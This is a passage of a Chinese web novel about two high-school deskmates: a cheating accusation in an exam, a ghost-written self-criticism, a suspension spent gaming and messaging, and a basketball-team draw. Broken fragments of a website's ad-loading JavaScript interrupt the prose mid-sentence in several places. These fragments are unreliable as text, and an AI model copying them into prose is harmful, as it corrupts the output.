谢遥集没听到自己想听的回答,有些遗憾,随口借了跟林子浔一模一样的话,打算把这个话题翻篇。 小猫在地毯上胡乱地滚来滚去,碰巧撞到他的拖鞋后顺势躺了下来,翻开肚皮示意摸摸。 谢遥集于是弯下腰去,手指才刚碰到小猫柔软的肚皮,就听见林藏初略有些忸怩的声音:“……没有。” 他一愣,又听见这人紧接着强调似的补充道:“我没谈过恋爱。” “虽然我缺考逃课还打架,但是我从不骗女孩子们的心。” 林藏初认真道:“你要相信在这方面上,我是一个好人。” 谢遥集的思绪没来由地被他拽跑了——光看前几条,自己好像也算跟林藏初是同一类人。 只是能否算个好人这点,尚且有待商榷。 因为谢遥集感觉自己的心好像被林藏初骗走了。 林藏初的房间里也带着他身上的那种干净好闻的柑橘香,床上的被子像是才被晒过不久,靠近了还能闻到秋日阳光的味道。 谢遥集忽然有些坐不下去了。 他倏地站起身,脚下的小猫猝不及防地被人拎起来,还有些发懵:“咪?” “小猫的窝在哪儿?”谢遥集低着脑袋,虽然是在看怀里的猫,又好像什么都没在看,“一直在你房间里捣乱也不太好,早点抱过去吧。” * 林藏初倒觉得,这么小的一只猫在房间也没什么可捣乱的。 只是谢遥集实在坚持,他也就跟人一起出了门,领着一人一猫去了早就准备好的房间。 猫爬架和猫秋千应有尽有,地面被铺上了容易打扫的防滑毯,小小一只猫窝被放在角落里低矮的木质榻榻米上。 谢遥集把小猫放下来,小猫先是试探性地往房间里迈了下爪子,随即又瞧见墙壁旁边挂着的逗猫棒,欢快地窜了过去。 他看着小猫玩玩这个,玩玩那个,最后好奇地扒着爪子爬到榻榻米上,在松软舒适的猫窝里蜷缩着趴下了。 与当初在自己家里不得不睡的纸箱子简直是天壤之别。 谢遥集说不上心里到底是什么感受,只好道:“谢谢。” 林藏初有些诧异地回过头,他不是第一次从谢遥集嘴里听到这两个字,但是就是莫名感觉这次的氛围有些不一样。 ……但是又说不上来到底是哪里不一样。 林藏初不是那种擅长揣测别人心意的人,即使是对谢遥集这种剖心析胆的话,也只是像往常一样应付着接了:“谢什么谢?” “真要谢我,就把你以后每次的考试卷都借我抄……” “最好让我也能考个年级第一。”林藏初随口道,“体验一下当学神是什么感受。” 谢遥集倒是真的认真考虑了一下这个可能性。 然后他想起林藏初高达四十几分的英语卷:“……” 好像确实有点难办。 …… ………… 下午,月考最后一科的英语考场上,林藏初并不知道谢遥集在他亲口提出“想当年级第一”之后在心里做了哪些设想。 他盯着自己前半面写半道蒙半道的听力和阅读,只知道这次考的英语卷大概是又要寄了。 ……能有四十分吗? 距离考试结束还有不到一个小时,林藏初捏着指头算,算来算去又感觉好像真的没有。 顶多考三十分。 因为这次的英语作文他也不会,题目别出心裁地没再给李华写信,所以林藏初连作文题目都没看懂。 他盯着考场前面被值日生擦得鬼神之乱的黑板,视线瞥到讲台旁边乱七八糟叠在一起的扫帚和拖把。 ……这破考试到底什么时候是个头儿。 林藏初忽然有些后悔过来考了。 其实他是有过直接把这堂英语考试翘了,滚去网吧里狠狠玩上半天的想法的。 但是谢遥集当时跟他一起出门,说要来学校,他总不好把伤患自己一个人扔到司机的车上。 ……谢遥集最后在考场旁边的楼梯跟他分别,还好心地说了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一句加油。 加个蛋的油。林藏初瘫着脸心想,这是加油就能考好的事儿吗? 他难道以为人人都是谢遥集? 林藏初又把英语卷翻过来覆过去地看了一遍,这是他通读这张卷子的第四遍。 ……还是不会。 算了。林小少爷不是因为一场考试分数就随便内耗的人,立刻打消了认真答卷的念头,睡了。 他一趴下,旁边的唉声叹气明显地越发地多了起来。 林藏初:“……” 林藏初又把头抬起来,叹气的声音跟着消失了。 他再次趴下,后面重新响起来重重的长吁短叹声:“唉——” “……” 林藏初彻底睡不着了。 监考老师恰巧出门,也没往这边看,他沉着一张脸回头,就看见上午向自己借过涂卡笔的同学神神秘秘地把答题卡往前推了推,恰巧是一个林藏初能看见、又不至于被监控给扫到的角度。 林藏初:“……?” 孔霄念着林藏初上午对他的好,憋了一整个中午,终于叫他找到了报答恩人的机会,悄默声儿地比这口型道:“林哥,我英语能考八十分往上呢,抄我的!” 只是嘴上说说实际上考试从没做过弊的林藏初:“……” 他干脆利落地拒绝了:“不抄。” 孔霄有点心碎:“你是因为不相信我英语能及格,所以才不抄的吗?” 这都哪儿跟哪儿…… 林藏初实在想不通这人是怎么得出这个结论的:“……单纯是我懒得写。跟你没关系。” 孔霄低落下去的目光重新焕发光彩:“没事的!” “我帮你写也……” “你们两个,凑在一起嘀嘀咕咕的干什么呢?” 他话还没说完,就被杀了个回马枪的监考老师给突然打断了。 监考老师的脸色沉得几乎能滴出水来,几个跨步就走到了两人面前。 原本只是想安安静静一觉睡到考试结束的林藏初:“……” 孔霄和他的卷子都没能逃脱监考老师的手,挨个抓起来被检查了一遍。 ……别说答案雷同,一篇阅读里四道题,就是连个选项一样的都找不出来。 监考老师左看右看,几乎有些怀疑自己的眼睛:“你俩到底谁抄谁的?” “报告老师。”林藏初诚实道,“我俩谁都没抄。” “……作弊的人能承认自己作弊吗?”监考老师显然不信他诡辩的这一套,冷面无私地把卷子提前收了,“算你俩违纪,广播通报批评。” 他拎着卷子,迅速严厉地下了判决,然后丝毫不给求情机会地踩着皮鞋走远了。 考场里又变成了没有老师的样子,周围从刚才开始就一直低着头、大气不敢喘的同学们纷纷转过头看热闹。 林藏初于是同时收获了不下二十道如芒在背的灼热视线:“……” 后面坐着的孔霄有些崩溃:“这个老师监考不是喜欢出去抽烟,每隔十分钟才回来一趟吗?” “这次怎么提前了?” 林藏初幽幽看他一眼:“刚才走廊里有流动监考走过去了,你没发现?” 40. Chapter 40 于是十几分钟之后,其他考场所有或无聊摸鱼、或生死时速地写着英语作文的一班学生就听见墙上二十多年没换过的广播滋滋拉拉地响起来: “下面播报一则通报批评:查,高三(1)班林藏初、高三(16)班孔霄,于英语考试期间交头接耳、违反考试纪律,被监考老师当场捕、获。” 五楼遥远的第一考场中,谢遥集转着笔的手指一顿,敏锐地注意到蒋主任用了“捕获”一词,并加了愤怒的重音。 ……明明两小时前才分开,这人怎么转眼间就把自己给送到了政教处? 谢遥集盯着自己早就写完的答题卡,按动笔芯被无意识的按进按出,忽然有点坐不住了。 会成绩作废吗?还是要回家反省? 林藏初虽然平时小错不断,不是在试探政教老师的路上就是在试探班主任的路上,但也不至于犯过什么被记档案的重大错误。 ……还有,孔霄是谁? 广播里蒋主任正在慷慨激昂地进行到“为教育本人,警示他人,我校……”的宣判环节,谢遥集长长地舒了口气,举起了手。 “……老师,我肚子疼,想去个卫生间。” 负责监考第一考场的是个漂亮的年轻女老师,也正跟学生一起无比认真听着通报批评吃瓜。 第一考场的监考向来轻松,女老师全程都没怎么严加看管,猝不及防有人举手请假,她先是愣了一瞬,随即向声音的来源方向看过去。 看清出声的人是坐在考场第一位置的人之后监考老师疑惑更笃,她虽然没怎么见过这位传说中的好学生,但平时在办公室里也有所耳闻:“去卫生间可以,但是卷子得提前交上。” 没有多费口舌就得了批准,谢遥集松了一口气,拿着答题卡站起身:“嗯,我写完了。” 监考老师接过他主动递过来的、写得满满当当的答题卡,目送谢遥集匆匆出门的身影,又低下头去,把视线放在了这人交上来的答题卡上。 她之前听教学组长说,这次的英语卷出的超级难,各班及格率估计要往下掉一大截。 背面就是改错和作文,年轻老师恰巧也是教英语的,打眼一扫,不仅改错十个全对,作文内容也是二十往上的水平。 她又把答题卡翻了个面。 ……好家伙,前面听力也全对。 ——这就是组长说的,英语超级难,难到全年级过一百二十分的,可能不会超过十个? 年轻老师忍不住抬头看向门外的走廊,但是外面空空荡荡,早已经没了谢遥集的影子。 * 谢遥集一出考场就直奔三楼政教处。 政教处的门虚虚掩着,他悬在门上的手指还未落下,就听见里面一道惊天地泣鬼神的哀嚎声:“整整三天啊!” “这下我真的要被我爹打断腿了呜呜呜呜呜……” 随后是林藏初略显无奈的叹息声:“没办法的事,节哀。” 谢遥集推开门进去,里面两个一站一坐写检讨的齐刷刷的望过来:“?” “我草……我没看错吧。”站着的孔霄盯着门口的人眼神呆滞地喃喃,推了推旁边同样怔愣住的林藏初,“这是不是那个,总考第一的学生会主席啊?” 他等了好几秒,都没等来自己半个小时前刚结交的难兄难弟的回复。 再一看,这人已经从椅子上弹了起来,似乎是想往门口的方向走,但脚下却又有些犹豫,留在原地踌躇不前。 林藏初抿了抿唇,问道:“……你怎么来了?” 谢遥集把门关上,走近了在他身边站定,并选择性无视了旁边瞠目结舌的孔霄:“没事闲的,来看看热闹。” 林藏初:“……?” 心里那点缠绕连绵的疑云被谢遥集一句话轻飘飘全部打散了,他收起自己还没来得及出现的感动,无语道:“英语考试还没结束吧。” “嗯。”谢遥集口吻淡淡,“所以我提前交卷了。” 屋子里一共三个人,一个提早交卷,两个分数零蛋。 林藏初几乎有些怀疑谢遥集是来炫耀的:“……你故意的吗?” 走廊刺耳的交卷铃长长地响起来,那边孔霄感受到空气里硝烟弥漫针锋相对的气息,已经战战兢兢地自动把自己的存在感降到了极低。 谢遥集问:“故意什么?” “故意过来炫耀你提前交卷也可以考得很好的成绩。”林藏初说,“顺便再来关怀一下自己违纪的同桌,看看对方是不是偷偷地躲在政教处的桌子下面哭鼻子——” 刻薄出口的挤兑言语戛然而止。 因为站在他面前的谢遥集忽然把手伸了过来,拇指放在林藏初的眼睫下面很轻地蹭了蹭。 “……所以你哭了吗?” 林藏初听见他问。 熟悉的、有些微凉的指腹。 林小少爷脸上后知后觉地有了痒意,慢半拍地伸手拍掉谢遥集的手:“谁哭了!” 头顶上传来对方的闷笑声,林藏初终于反应过来自己是被人故意捉弄了,脸红耳热地喊:“你……谢遥集!” 谢遥集于是止住笑:“嗯,在呢。” “……”林藏初有种一拳打在棉花上的无力感。 谢遥集越过他,走到孔霄旁边空着的椅子上坐下,捡起来林藏初放在桌子上没写完的检讨书:“还剩几千字?” 林藏初:“三千。” 谢遥集看着手里被人只写了一个题目的稿纸,问:“一共罚了几千?” 林藏初:“……三千。” “你要帮我写吗?”他看见谢遥集从办公桌上勾起那支自己随手扔在一旁的签字笔 ,震惊之情溢于言表。 得到对方肯定的回答之后,林藏初的脑袋上明晃晃地顶了个问号:“不是,咱俩字体不一样,会被抓的。” 话音未落,谢遥集把摔漏油的签字笔从右手换到了左手。 林藏初:“……” 不是,怎么感觉这么不爽呢。 孔霄刚呕心沥血地艰难编出来五百字,目睹他俩这番明目张胆的代笔,简直瞳孔地震:“这也行?” 毕竟是学神同桌主动接手,林藏初原本还有点不好意思,但被孔霄一问,那点扭捏立刻销声匿迹:“好兄弟,你也可以喊你同桌过来帮忙写。” 孔霄想起来自己同桌每每考试高达十几分的语文作文:“……” “别,还是算了吧,无福消受。” 说完又意识到另一个事:“不是,林哥你刚才说——同桌??” “啊,怎么了?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 孔霄放下快被自己咬烂的笔,震惊地指指这个,又指指那个。 “不是,你俩……是同桌?” 他又一次地怀疑起来自己的人生观:“你们到底怎么分的座啊?随机?” 林藏初想起那个自己第一次看到座位表的下午:“……不知道。老师分的。” “分得牛逼。”孔霄竖起大拇指,“真想让我们老班儿也跟着学习学习。” ……他也想跟班级第一做同桌。 林藏初没忍住笑了一下,笑完了又往谢遥集的方向看。 谢遥集正在认认真真地写那份三千字的检讨书,即使是用左手落笔,动作也一气呵成,和旁边写两个字想五分钟的孔霄对比起来,显得尤为赏心悦目。 好像,有这么个“贤惠”的同桌也挺好的。 林藏初脑袋里莫名蹦出来一个跟谢遥集本人八竿子打不着的词,他把这两个词往幻想中的主人公身上一安,没忍住又乐了。 谢遥集问:“怎么这么开心?” “不用自己写检讨,当然开心。” 林藏初蘸着那点儿高兴的余韵,笑眯眯冲人问道,“你呢?接下来的三天都是单人桌,这不得比我更开心?” 谢遥集的笔尖一顿,直液式针管笔在稿纸上晕出来一摊很深的墨。 ……不开心。 他在心里默默回答了这个问题。 要有整整三天见不到人,怎么会开心? ……所以才会即使提前交卷,也要看到这个人最后一眼。 谢遥集看着面前写了一半的检讨书,心想,自己大抵是真的疯了。 林藏初站得累,索性又从政教办公室的角落里翻出来一把不知从哪儿没收上来的折叠椅,搬过来靠着谢遥集坐下了。 “真的没问题吗?”他还是有些担心。 谢遥集看他一眼:“快写完了,你有问题也得变成没问题。” 林藏初:“……” 林藏初妥协了:“好吧。” 他看着谢遥集落下最后一个凑字数的句号,又想起什么似的:“不对啊,蒋主任怎么一直没回来?” 谢遥集把厚厚一叠草稿纸竖起来,对着桌面墩了墩底下的边角:“嗯,我来的时候看见他提前走了,八成是去吃饭。” 林藏初抬头看了一眼墙上挂着的石英钟,确实已经到了吃晚饭的时间。 “走吗?去吃饭。”他听见谢遥集问。 这句话听上去莫名熟悉,林藏初恍惚想起当初好像也是这么晴朗的一天。 他和谢遥集被生物老师罚在班主任办公室结伴写检讨,两人都看对方不顺眼,但还是一起默契地去食堂吃了午饭。 “不是吧——”孔霄在旁边哀嚎,“这就写完了?我还有一千五啊!” 林藏初被他喊回神,一个月前的记忆与现在重叠,又感觉谢遥集现在能帮他写检讨这事就贼魔幻。 ……原来两个人的关系真的可以在短时间内从坏变好。 又或许,他其实一直都没有自己想象中的那么讨厌谢遥集。 于是林藏初不再想了,拍了拍孔霄的肩膀留了句加油:“我去吃饭了,你一个人慢慢写。” 孔霄:“……” 什么意思啊! 41. Chapter 41 回家反省的第一天,林藏初直接睡了个昏天暗地,直到下午两点多才醒。 醒的时候闭着眼睛下意识去摸枕头底下的手机,结果被烫得完全清醒了—— 林藏初盯着天花板的格子缓了会儿神,记忆缓慢回笼。 ……想起来了,他凌晨四点打游戏打到一半睡着了。 手机插着电,但是没锁屏。 林藏初一骨碌地从床上爬起来,先是心惊胆战地把充电线给拽了,然后就看见手机屏幕上是一条举报通知。 “……经实时监测您存在挂机行为,信誉积分-7,请认真对待每场对局。” 林藏初:“……” 他真的不记得自己到底是怎么睡着的了。 难道是昨天晚上打得太久了? 从食堂出来后,他在操场和谢遥集分道扬镳,又上了李叔的车回家,到家就拿出手机开始征战峡谷。 手机屏幕烫得要死,林藏初先是点开看了看自己的个人信息——这个号不是他平时玩的号,而是上次报名青训时发下来的线上比赛账号,每周要打满七十场才算成绩。 今天是周三,他离规定的场次指标还差了一半。 林藏初有心想让手机降降温,于是退出游戏回到主屏幕。关掉勿扰模式的一瞬间,手机上方弹出来一大堆的消息,有爹有妈有妹妹,还有串十分眼熟的Q/Q号。 他点开微信,先是看见了自家爹发的简短微信:出差几天,你和妹妹有没有什么想要的礼物? 接着是紧随其后的自家妈:妈妈这两天不在家哦,早上看你没起床,不忍心打扰你。好好照顾自己和妹妹~(比心.jpg) 最后是林子浔发的,连着长长的好几条。 zZ:哥,你咋还没起床? zZ:咱妈昨天说要和老姐妹出去旅游 zZ:一大早就走了 zZ:早饭我帮你放在冰箱里了 zZ:吃的时候记得热一下哈 zZ:噢对了还有,别忘了喂猫 林藏初手指扒拉着把妹妹的聊天记录翻到底,回了个“OK”的表情包。 看完微信他又去看Q/Q,平时总是干净的消息提示处此时多了个红点“10”。 谢遥集几个小时前就已经在给他发消息了。 林藏初点开那串系统默认号码的聊天框。 最早的是八点左右的两条。 3314**629:今天语文课只讲了考试卷,老师把文言文阅读里面的课外重点词记了一下。 3314**629:[图片] 然后是临近中午快下课的时候。 3314**629:化学老师说倒数五名要给前三名买雪糕,她领着班里对了下答案,目前的最低分是67。 最后一条则是十分钟前刚发的。 3314**629:你的生物答题卡好像被老师拿出来当典型了,理由是在遗传图解上乱写乱画,考试态度不端正。 3314**629:她没明说是谁,但是看着字迹,很像你的。 ……这人怎么话这么多? 林藏初看着语文化学生物的字眼,简直一个头两个大,随手回了条消息过去。 菜就多练:。 聊天框上方很快出现了“对方正在输入中……”的字眼,对面几乎是秒回:刚醒? 菜就多练:……你怎么知道? 3314**629:[屏幕截图] 林藏初点开一看,发现是自己昨天两点半在峡谷中输破防,愤慨而发的某条空间说说。 [@菜就多练:有时候真的怀疑自己在玩一种很新的团队游戏(微笑.jpg)] ……因为知道自己昨晚熬夜,所以推测出来第二天绝对会赖床? 林藏初有种被人看穿作息的羞惭感,咽了下口水,刚想为自己辩解。 那边谢遥集又发来了几张高清的拍照图片。 ……是生物课上记的笔记和考试卷子上多余的标注。 3314**629:[图片] 3314**629:[图片] 3314**629:[图片] 3314**629:平时不怎么记笔记,字可能有些潦草。 3314**629:[图片] 3314**629:这张是生物老师在卷子上补充的额外知识点。 3314**629:[图片] 3314**629:还有这个是那道遗传图解题的答案,因为不是很难所以老师没有细讲,我帮你把过程重新写了一遍。 握着的手机叮叮当当地响个没完,林藏初目瞪口呆地看着对面的图片越发越多,聊天气泡一个接一个地往上蹦。 ……谢遥集这是觉醒了什么新型陪读书童功能吗? 有点不像回家反省,反倒像是在被一对一补课。 林藏初满头黑线,瞅准对方图片发送的间隙地发出去一条消息。 菜就多练:? 问号发出去的瞬间,对面的照片笔记攻势也跟着突然停了。 纯色的聊天框上方重新变成了“对方正在输入中……”。 过了一会儿又消失,然后又再次变成“对方正在输入中”。 林藏初等了二十几秒,才终于等来谢遥集的回复,比他想象中要短得多。 3314**629:如果有哪里看不懂,可以标一下。 林藏初:“……” 咱俩说的是一个事儿吗? 林藏初一梗,还真顺手就往上翻了翻这人发过来的笔记。 ……翻不到头。 “……?” 林藏初不信邪地又往上翻了翻。 整整滚了三屏过后,他终于看见了谢遥集最后那句略显正常的话:刚醒? 早知如此,当初就应该把那句反问回复烂在肚子里。 林藏初瘫着一张脸想道。 闲着也是闲着,他干脆把谢遥集发的每张笔记都用Q/Q自带的涂鸦红笔给圈了起来。 并配回复道:实不相瞒,全都看不懂。 那头难得地沉寂了几分钟。 3314**629:…… 3314**629:已经下课了。[图片] 谢遥集又发来一张崭新的图片,林小少爷顺手点开了。 照片拍得有些糊,用林子浔的话来说,“就好像被人扔进P图软件里开了高斯模糊”,但还是勉强能看出来是几个人在教室后排凑成一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 堆打扑克。 3314**629:他们刚才说想你了。 林藏初看着谢遥集发来的这句话,扯了扯嘴角。 菜就多练:放屁,他们只是想我的钱。 下课之后的教室喧哗吵闹,有人在过道上跑来跑去地玩追逐战。 谢遥集低着头,把手机藏在桌屉里回:把钱给我,我帮你玩,包赢的。 那边再次回了个“???”。 并附上了一张你在想peach的表情包。 谢遥集没忍住嘴角一乐,还没来得及把表情收回去,就被前面恰巧回头看隔壁打红十热闹的周扬给抓到了:“嚯。” “谢神,你做啥题呢,这么高兴?” “咳,没什么。”谢遥集面不改色地把手机往桌屉里面推了推,放在桌面上的右手将久未翻篇的数学习题册翻过去一页。 周扬看见他做的是数学高考必刷题方法提高篇,立刻了然似的一点头:“噢噢,必刷题啊。下面的页码脚注确实有意思。” “这本我也买过,只可惜太难了,不适合我。” 谢遥集跟着他的话题往下走:“嗯,老师推荐的。正好闲着没事,买来随便做做。” “这里面确实有些题型是高考不会涉及到的,考试还是基础题型占比多一点。” 正巧旁边有人下场,周扬又随便抱怨了几句,紧急跟着起身去凑牌桌的人头了。 谢遥集于是又把视线投回到桌子下面的手机屏幕上。 林藏初在回复过那两条消息过后,隔了几秒钟再次找补似的发来一句:也不是不行,你替我打,赢的钱咱俩三七分。 谢遥集问:我七你三? 那头隔了好一会儿才断断续续地回:你还真是敢要。你是老板我是老板? 谢遥集揣着明白装糊涂地陪人演:嗯,你是老板,我是负责给老板努力打工的黑奴。 对话框再次寂静了几分钟。 菜就多练:[图片] 菜就多练:没空回你,在给它弄吃的。 谢遥集低头点开,发现是自己送过去的那种小猫。 兴许是在等待食物,正眼巴巴地蹲在宠物碗旁边看着,被人拍照时配合得很。 菜就多练:噢对,它有名字了,我妈起的。 菜就多练:叫五子棋。 谢遥集盯着对面发过来的这三个字看了一会儿,重复道:五子棋? 菜就多练:是不是很符合它的美貌? 菜就多练:[爱心.jpg] 谢遥集有心想问林藏初为什么这只猫叫五子棋而不叫八卦阵,但最后还是忍住了。 因为他忽然想起来某节晚自习的英语课上,自己赢林藏初的那几场棋。 屡战屡输的人誓不放弃,每打输一场就抓耳挠腮地叫嚣着再来。 看的电影已经有些记不清内容,但林藏初当时脸上每一处细微生动的表情都还印在谢遥集的脑海里。 ……小猫的名字也叫五子棋。 谢遥集想,这算不算是另外一种意义上的“紧密联系”? 沉寂多时的对话框被人重新顶上去两句消息。 3314**629:很符合。 3314**629:我很喜欢这个名字。 42. Chapter 42 这之后的两天里,林藏初都会时不时地收到谢遥集的“骚扰”消息。 有时是各科老师在黑板上的板书内容,有时又是分门别类的手写笔记,林藏初甚至还见到过对方整理出来的一叠基础知识训练题库。 手机上的峡谷对局正进行到一半,跟在林藏初身边的残血辅助走位失误,被敌方射手的技能给收掉。 林藏初一个闪现躲开对方的大招,带着层血皮遁入了自家的野区草丛。 半透明的Q/Q消息弹幕接连不断地在游戏界面上方飘着。 3314**629:考试成绩已经出来了。 林藏初的视线自动略过了这条消息,只是原地回城的动作却跟着顿了一下。 敌方的射辅丢失视野,已经重新回到了自家塔下清兵。 在泉水回血的短短几秒,他切出分屏想要给谢遥集回个消息,但没来得及。 林藏初在对话框里刚打出一个y来,游戏界面就亮起对友“请求帮助”的信号。 是自家中野一起来下路抓人的时,候被敌方的打野反蹲了。 林藏初叹了口气,索性把Q/Q的小窗叉掉了,一技能加快赶路地出了泉水。 他的巅峰赛分数一直稳在初试的进线范围里,只要保证每周打满就不会被第一轮的海选淘汰掉。 今天打完去顺便上个晚自习,周六周日不出意外还能歇两天。 游戏屏幕里的敌方射手又是一记出其不意的走位,躲开技能的同时还能反过来消耗血量,林藏初拉扯着险险躲过,却还是挨了两刀平a。 他退回塔中补兵,同时提防着对面已经消失在小地图上的打野。 又是几回合之后的博弈,对面辅助的技能恰巧失误,林藏初终于趁机拿了虞姬的人头。 他和辅助拔了对面一塔,顺着野区赶去中路支援,尚未赶到战场,屏幕上就传来自家中单被打野击杀的提示。 正在点塔的敌方中单微微残血,后撤不及,被赶来林藏初一个技能减速控在原地。 几个平a过后对面打野再次现身,剩了层血皮的中单转身要跑,被林藏初闪a拿下人头。 他算着敌方大招cd尚未转好,立刻转身向打野丢了二技能过去,辅助也跟着抛了强控,但被对面赶来的庄周大招解控—— 林藏初点出请求集合的信号。自家打野鬼魅一般从野区钻出,利落地收下了双杀。 一波团战过后己方的经济局势有了微弱的领先,打野趁着对面打野还在泉水复活的间隙果断开龙,林藏初帮忙打到半血后转身去单带下路。 敌方的射手已经复活多时,方才在中路爆发小型团战的时候,不声不响地拆掉了林藏初的一座下塔。 第二波团战爆发在龙坑,林藏初以一换二拿下双杀,但自家的脆皮中单也跟着在换掉了对方上单之后牺牲。 屏幕变灰等待复活的间隙,他又点开了Q/Q的迷你小窗。 谢遥集没有再发消息。 林藏初抿了抿唇,扫了一眼局内战况,估量着时间还早,打着字给谢遥集去了条消息。 菜就多练:这次的年级第一是谁? 他发完这句话,游戏屏幕中的角色再次复活。林藏初拉了下小地图,把最后一件做到一半的神装点成预购。 团战爆发之时,半透明的消息提醒又晃晃悠悠地飘过来。谢遥集这次回得很快。 3314**629:是隔壁二班的陈满。 ……陈满。 林藏初躲开地方打野大招,紧随其后地收下离自己最近的一个人头,还能分神出来觉得谢遥集说的这个名字有点熟悉。 好像是运动会的时候一起和他记跳高成绩的那个。 话很多,很自来熟。 是和谢遥集性格完全相反的类型。 耳机里传来“Triple kill”的播报声,林藏初极限残血一换三,最后只剩了层危险的血皮。 自家率先开团的辅助已经牺牲去了泉水,上单也在换掉对方打野之后灰了屏幕。 此时场上只剩下了一个敌方刚复活出来的中单法师,己方技能全空的打野,还有他。 残兵被对面法师技能清掉,而下一波兵线尚还未到,三个角色站在剩了四分之三血的水晶面前,形成了一种面面相觑的诡异局面。 林藏初在心里算了一下兵线过来和敌方其他英雄的最早复活时间,干脆利落地点了个“发起进攻”。 己方打野成功get到他的想法,抗塔进去往对面法师身上丢了个技能,成功将对方逼回泉水。 敌方打野复活的同时兵线得以进塔,林藏初一个闪现躲掉对面的强控技能,以血换血强行点塔。 水晶爆炸的瞬间,他的屏幕也随之灰下,巨大的Victory在清脆的复活倒计时里明晃晃横贯出现在界面中央。 战绩结算,这一把加了十九分。 林藏初看见自己的实时排名又往上跳了一点。 他舒了口气,退出游戏,重新点开了和谢遥集聊到一半的对话框。 菜就多练:噢,陈满啊。运动会的时候有点儿印象。 菜就多练:我这次考了多少名? 消息发出去之后,对话框上面又开始显示起来“对方正在输入中……”。 半分钟过后还是没回音,林藏初等得有些不耐烦,又发了个标点过去。 菜就多练:? 这回谢遥集终于回了。 3314**629:你不是今天晚自习就可以来学校了? 3314**629:自己看。 菜就多练:…… 谢遥集说话这么委婉,林藏初用脚趾头想都知道自己这次肯定考得跟狗屎一样。 理综瞎写就算了,就连平时能蒙个三四十的英语都被记过成了零分。 他要是想名次进步,除非语文卷改成满分二百五。 林藏初放下手机,忽然想到他同桌这次也惨失年级第一的宝座。 ……释然了。 反正也不是他一个人没考好。 有谢遥集在,就不怕轮到自己被老师问。 林藏初找好了挡箭牌之后心下瞬间安定,一低头,又看见“挡箭牌”给他发了新的消息。 3314**629:高三和高二最近要举办篮球联谊比赛。 3314**629:现在体委正在发申请表,你要报名吗? ……篮球联谊比赛? 林藏初想到自己在体育课上路过篮筐,被飞过来的篮球狠狠砸脸的经历,果断拒绝。 菜就多练:不要。 菜就多练:不想被球砸,要去你去。 *< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 高三(1)班。 谢遥集盯着聊天框刚弹出来的“不想被球砸,要去你去”,莫名脑补出来林藏初说这句话时臭着脸的表情。 发报名表的体委已经离开了他这一桌,正在热热闹闹地张罗着其他的人。 直到班主任幽幽地安静出现在班级门口,开口询问进度:“组队的人齐了吗?” 体委低头翻了翻自己夹着报名表的本子,老实回答:“还没,学校硬性要求的是七个人,现在才交了五份报名表上来。” 班主任真名叫邱贝,但是班里的人总爱喊她贝姐。 邱贝说:“其他的人,没有想参加的了吗?” 班里的同学除了林藏初都在,闻言纷纷低了头,假装没听见老师的话。 “平时一个个体育课打球打得可欢,人都哪儿去了?”邱贝恨铁不成钢地叹了口气,“罢了,抽签吧。” “还剩一个替补……咱们击鼓传花,传到谁就谁上。” 邱老师走上讲台,拍了拍手示意骤然炸锅的同学安静:“没有意见吧?” “没意见!” 第一排的同学立刻十分捧场地大声喊。 邱贝满意地点点头,走下讲台把一截红色的粉笔放在出声同学的桌子上:“好,那就从你开始。” “我数一二三开始,你们传到上课铃响起结束。”她低头看了一眼手表,“不许漏传和多传。” “好——3,2,1,开始!” 邱贝话音一落,拿着红粉笔的人立刻迅速地把粉笔扔给了自己的同桌,他的同桌麻利地往后一传。 后桌拎着这截红粉笔手忙脚乱,连着习题册上算了半截的草稿纸一起端给了下一个人。 时间一分一秒过去,等谢遥集晚了几秒,把视线从对话框里林藏初新发过来的消息上移开时,他才发现那截红粉笔已经不知道什么时候到了自己的桌面上。 ……还不是一截,而是很多截。 脆弱的红粉笔在同学们的手手相传中已经脆弱地断成了几瓣碎片。 谢遥集:“……” 与此同时,学校晚了几秒钟的上课铃姗姗来迟,滋滋拉拉地在老旧广播里响起来。 一瞬间,班级里的所有人都齐刷刷回头:“哪儿呢!粉笔在谁那里!!” 谢遥集:“…………” 他沉默地低下头,沉默地看了一眼面前用来击鼓传花的“花”。 早就对自己倒霉程度有了清晰认知的人认命般地叹了口气,倒也没把原因往忽然发消息过来的林藏初身上赖。 “在我这里。”谢遥集端着一纸乱七八糟的红粉笔碎片站了起来。 邱贝看看他,又看看他手里铁证如山的东西,眉头皱着又松开,似乎是很不想接受这个结果:“……好,那谢遥集你过来领一下报名表吧。” 谢遥集从座位上起身,一路经过无数人震惊和难以置信的目光走向讲台—— 然后就被必经路上的周扬扯住了袖子。 周扬震惊愧疚的表情绝不下于其他任何同学:“谢神,我刚刚扔给你的时候,你怎么没反应过来啊?” “……”谢遥集想起林藏初发过来的那条消息,实在不知道该怎么解释,“当时走神了,所以没看见。” 周扬:“……真的?” 谢遥集:“真的。” 43. Chapter 43 当天晚上是生物晚自习,林藏初踩着预备铃爬上五楼姗姗来迟,嘴里还咬了半根从家里冰箱带出来的冰棍。 而一向准时的生物老师尚未到达战场,以至于林藏初还没等进班级,就收到了无比热烈的欢迎仪式。 以高姿为首的众人吵吵闹闹地出来迎接,林藏初满头黑线地在“恭迎林神归来!”“好久不见啊林哥!”的背景音里进了班级的门。 ……知道的是回家反省的人重新上学,不知道的还以为是来了什么厉害的市重点转学生。 林藏初承受不了这种堪比古代万人空巷的气氛,潦潦草草地扯出来一个回应的笑容,随后匆忙抱着书包逃窜回了自己的座位。 谢遥集正趴在桌子上小憩。 林藏初怔了一瞬,放下书包落座的动作刻意地放轻了些。 谁知椅子拉开时与地面发出轻微的剐蹭声,好巧不巧还是把人给吵醒了。 安静伏在桌面上的人先是幅度很小地动了下,随即缓慢地睁开眼睛,发散的视线重新聚焦,落在旁边位置上突然出现的人身上。 “……林藏初?” 谢遥集这场觉睡得很浅,只花了不到十秒钟就从方才不切实际的梦境里清醒出来。 梦里的人和眼前站着的人缓慢重合,谢遥集平静地直起身,口吻放得更轻了些:“你回来了?” 许是方才正在小憩的缘故,谢遥集摘了他那只平时不离鼻梁的细边框眼镜,没了镜片遮挡,一双狭长的桃花眼看起来反倒多了些平时没有的锋利感和冷漠。 